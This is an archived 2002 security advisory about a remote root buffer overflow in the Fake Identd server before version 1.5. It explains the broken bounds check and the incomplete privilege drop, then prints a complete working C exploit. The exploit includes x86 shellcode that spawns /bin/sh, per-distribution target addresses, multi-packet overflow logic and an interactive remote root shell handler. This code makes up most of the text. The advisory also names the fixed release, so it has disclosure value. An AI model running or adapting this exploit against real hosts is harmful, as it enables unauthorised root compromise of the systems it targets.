30th Jul 2002 [SBWID-5577]
COMMAND
Fake Identd remote root exploit
SYSTEMS AFFECTED
All Fake Identd versions prior to 1.5
PROBLEM
Frank DENIS 'Jedi/Sector One' [j@42-Networks.Com]
[http://www.PureFTPd.Org/] [http://www.Jedi.Claranet.Fr/] says :
Fake Identd is a small standalone ident server with static replies. It
is designed to be suitable for firewalls, IP masquerading hosts, etc.
Documentation : http://iki.fi/too/sw/identd.readme
Source code : http://iki.fi/too/sw/releases/identd.c
Client queries are stored in small static global 20-bytes buffers. The
related code section is similar to :
len = 0;
for(;;) {
if ((l = read(s, buf + len, sizeof buf)) > 0) {
if (query_looks_valid(buf)) {
reply(s, buf);
}
} else if (len + l == sizeof buf) {
goto abort;
} else {
len += l;
}
}
The buffer boundary check is obviously broken. But splitting the data
into two or more packets, the (len + l == sizeof buf) assertion can
easily be bypassed.
Additionnaly, the reply() function calls the fdprintf() function that
features yet another fixed buffer with no boundary check. This buffer
is filled with the content of a global pointer (identuser) whoose value
can be tweaked using the previous vulnerability.
To reduce the impact of a possible vulnerability, Fake Identd switches
to user/group 'nobody'. Unfortunately, even the uid switching part is
broken. The effective uid/gid are dropped (sete[gu]id() calls), but the
real uid/gid are still 0/0.
Arbitrary commands can be run with root privileges. This vulnerability
is remotely exploitable. Linux exploit, thanks to Core, Sloth and Solar
Eclipse [0dd] :
/* lameident3-exp.c - sloth@nopninjas.com - http://www.nopninjas.com
* this should work for most Linux distributions without needing
* any modifications
*
* fakeidentd exploit 3rd revision.
* v1.4 http://software.freshmeat.net/projects/fakeidentd/
* v1.2 http://hangout.de/fakeidentd/
*
* vuln found by Jedi/Sector One
* Other people who worked on the same bug and shared ideas:
* Charles "core" Stevenson, Solar Eclipse
*
* 7/25/02
*
* Collaborative effort via the [0dd] list. Thanks to Charles Stevenson for
* running it.
*
* 0dd, irc.pulltheplug.com, b0red
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#define ALIGN 1 /* you probably dont need to touch this */
#define IDENTPORT 113
#define USLEEP 200 /* delays the send()'s to avoid "broken pipe" errors */
#ifdef DEBUG
#define DUPFD "\x04"
#else
#define DUPFD "\x02"
#endif
/* dup() shellcode from Charles Stevenson <core@bokeoa.com> */
char lnx86_dupshell[]=
"\x31\xc9\xf7\xe1\x51\x5b\xb0\xa4\xcd\x80\x31\xc9\x6a" DUPFD
"\x5b\x6a\x3f\x58\xcd\x80\x41\x6a\x3f\x58\xcd\x80\x41\x6a\x3f"
"\x58\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
struct Targets {
char *name;
long baseaddr;
char *shellcode;
};
struct Targets target[] = {
{ " gcc-2.91.66 x86\n"
" * Slackware 7.1\n"
" * RedHat 6.2\n",
0x0804b0a0, lnx86_dupshell },
{ " gcc-2.95.3/4 x86\n"
" * Slackware 8.1\n"
" * Debian 3.0\n",
0x0804a260, lnx86_dupshell },
{ (char *)0, 0, (char *)0 }
};
void sh(int sockfd);
int max(int x, int y);
void fail(char *reason) {
printf("exploit failed: %s\n", reason);
exit(-1);
}
long resolve(char *host) {
struct in_addr ip;
struct hostent *he;
if((ip.s_addr = inet_addr(host)) == -1) {
if(!(he = gethostbyname(host)))
return(-1);
else
memcpy(&ip.s_addr, he->h_addr, 4);
}
return(ip.s_addr);
}
int make_connect(struct in_addr host) {
int s;
struct sockaddr_in sin;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(IDENTPORT);
sin.sin_addr.s_addr = host.s_addr;
if((s = socket(AF_INET, SOCK_STREAM, 0)) <= 0)
fail("could not create socket");
if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0)
fail("could not connect\n");
return(s);
}
int main(int argc, char *argv[]) {
int s, a, uwait = USLEEP, nops = 500;
long baseaddr;
long shelladdr = 0xbfffa090;
long pointaddr = 0;
char buf1[2020], buf2[32], *p, *shellcode;
struct in_addr host;
printf("lameident3-exp.c by sloth @ b0red\n");
if(argc<3) {
printf("usage: ./lameident3-exp <target> <host> <send delay in ms>\n");
for(a=0;target[a].baseaddr;a++)
printf(" %d: %x %s", a, target[a].baseaddr, target[a].name);
exit(-1);
}
for(a=0;a<atoi(argv[1]);a++)
if(!target[a].baseaddr)
fail("invalid target");
baseaddr = target[a].baseaddr;
shellcode = target[a].shellcode;
if(argv[3]) uwait = atoi(argv[3]);
if((host.s_addr = resolve(argv[2])) == -1)
fail("invalid host");
memset(buf1, 0, sizeof(buf1));
memset(buf1, 0x90, sizeof(buf1)-strlen(shellcode)-1);
memcpy(&buf1[(sizeof(buf1)-strlen(shellcode)-1)],shellcode,strlen(shellcode));
s = make_connect(host);
send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
usleep(uwait);
memset(buf2, 0, sizeof(buf2));
buf2[0] = 'A';
*(long *)&buf2[1] = shelladdr - baseaddr - 5;
send(s, buf2, 5, 0);
usleep(uwait);
p = buf1;
printf("Writing shellcode: %d bytes to 0x%x...\n", strlen(buf1), shelladdr);
for(a=0;a<=strlen(buf1), *p;) {
if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)
fail("write error");
p += a;
usleep(uwait);
}
close(s);
usleep(100);
s = make_connect(host);
send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
usleep(uwait);
memset(buf2, 0, sizeof(buf2));
buf2[0] = 'A';
*(long *)&buf2[1] = shelladdr - baseaddr + strlen(buf1) + 20 - 5;
send(s, buf2, 5, 0);
usleep(uwait);
p = buf1;
pointaddr = shelladdr + strlen(buf1) + 20;
printf("Writing pointers to 0x%x\n", pointaddr);
memset(buf1, 0, sizeof(buf1));
for(a=0;a<=512;a += 4)
*(long *)&buf1[a] = shelladdr + 500;
for(a=0;a<=strlen(buf1), *p;) {
if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)
fail("write error");
p += a;
usleep(uwait);
}
close(s);
usleep(uwait);
s = make_connect(host);
send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
usleep(uwait);
memset(buf2, 0, sizeof(buf2));
buf2[0] = 'A';
*(long *)&buf2[1] = 0xffffffff - 0x9f - 5;
send(s, buf2, 5, 0);
usleep(uwait);
memset(buf2, 0, sizeof(buf2));
*(long *)&buf2[0] = pointaddr + 200 + ALIGN;
send(s, buf2, 4, 0);
close(s);
usleep(uwait);
s = make_connect(host);
send(s, "1234, 1234\n", 11, 0);
usleep(uwait);
printf("here comes the root shell!\n");
sh(s);
close(s);
}
/* mixters */
int max(int x, int y) {
if(x > y)
return(x);
return(y);
}
/* mixters sh() */
void sh(int sockfd) {
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
strcpy(snd, "uname -a; pwd; id;\n");
write(sockfd, snd, strlen(snd));
for(;;) {
FD_SET(fileno(stdin), &rset);
FD_SET(sockfd, &rset);
maxfd = max(fileno(stdin), sockfd) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if(FD_ISSET(fileno(stdin), &rset)){
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd)-2, stdin);
write(sockfd, snd, strlen(snd));
}
if(FD_ISSET(sockfd, &rset)){
bzero(rcv, sizeof(rcv));
if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
printf("EOF.\n");
exit(0);
}
if(n < 0)
fail("could not spawn shell");
fputs(rcv, stdout);
}
}
}
SOLUTION
Tomi Ollila, author and maintainer of Fake Identd, just released a new
version (1.5) in order to fix these vulnerabilities.
The new version is freely downloadable from the following location :
http://iki.fi/too/sw/releases/identd.c
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH